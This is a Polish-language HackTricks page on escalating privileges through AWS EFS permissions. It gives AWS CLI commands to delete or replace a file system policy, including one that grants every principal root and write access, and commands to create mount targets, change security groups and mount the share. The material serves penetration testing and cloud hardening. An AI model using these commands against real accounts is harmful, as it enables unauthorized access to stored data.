AWS - EFS Privesc

Support HackTricks

EFS

Więcej informacji o EFS w:

AWS - EFS Enum

Pamiętaj, że aby zamontować EFS, musisz znajdować się w podsieci, w której EFS jest udostępnione i mieć do niego dostęp (grupy zabezpieczeń). Jeśli to się dzieje, domyślnie zawsze będziesz mógł go zamontować, jednak jeśli jest chronione przez polityki IAM, musisz mieć dodatkowe uprawnienia wymienione tutaj, aby uzyskać do niego dostęp.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Dzięki któremuś z tych uprawnień atakujący może zmienić politykę systemu plików, aby dać ci dostęp do niego, lub po prostu usunąć ją, aby przyznać domyślny dostęp.

Aby usunąć politykę:

aws efs delete-file-system-policy \
--file-system-id <value>

Aby to zmienić:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Z tą uprawnieniem atakujący będzie mógł zamontować EFS. Jeśli uprawnienie do zapisu nie jest domyślnie przyznawane wszystkim, którzy mogą zamontować EFS, będzie miał tylko dostęp do odczytu.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Dodatkowe uprawnienia elasticfilesystem:ClientRootAccess i elasticfilesystem:ClientWrite mogą być używane do zapisu wewnątrz systemu plików po jego zamontowaniu oraz do dostępu do tego systemu plików jako root.

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.

elasticfilesystem:CreateMountTarget

Jeśli atakujący znajduje się w podsieci, w której nie ma punktu montowania EFS, może po prostu utworzyć jeden w swojej podsieci z tym uprawnieniem:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.

elasticfilesystem:ModifyMountTargetSecurityGroups

W scenariuszu, w którym atakujący odkrywa, że EFS ma punkt montażowy w jego podsieci, ale żaden z grup zabezpieczeń nie zezwala na ruch, może po prostu zmienić to, modyfikując wybrane grupy zabezpieczeń:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.

Wsparcie dla HackTricks

Last updated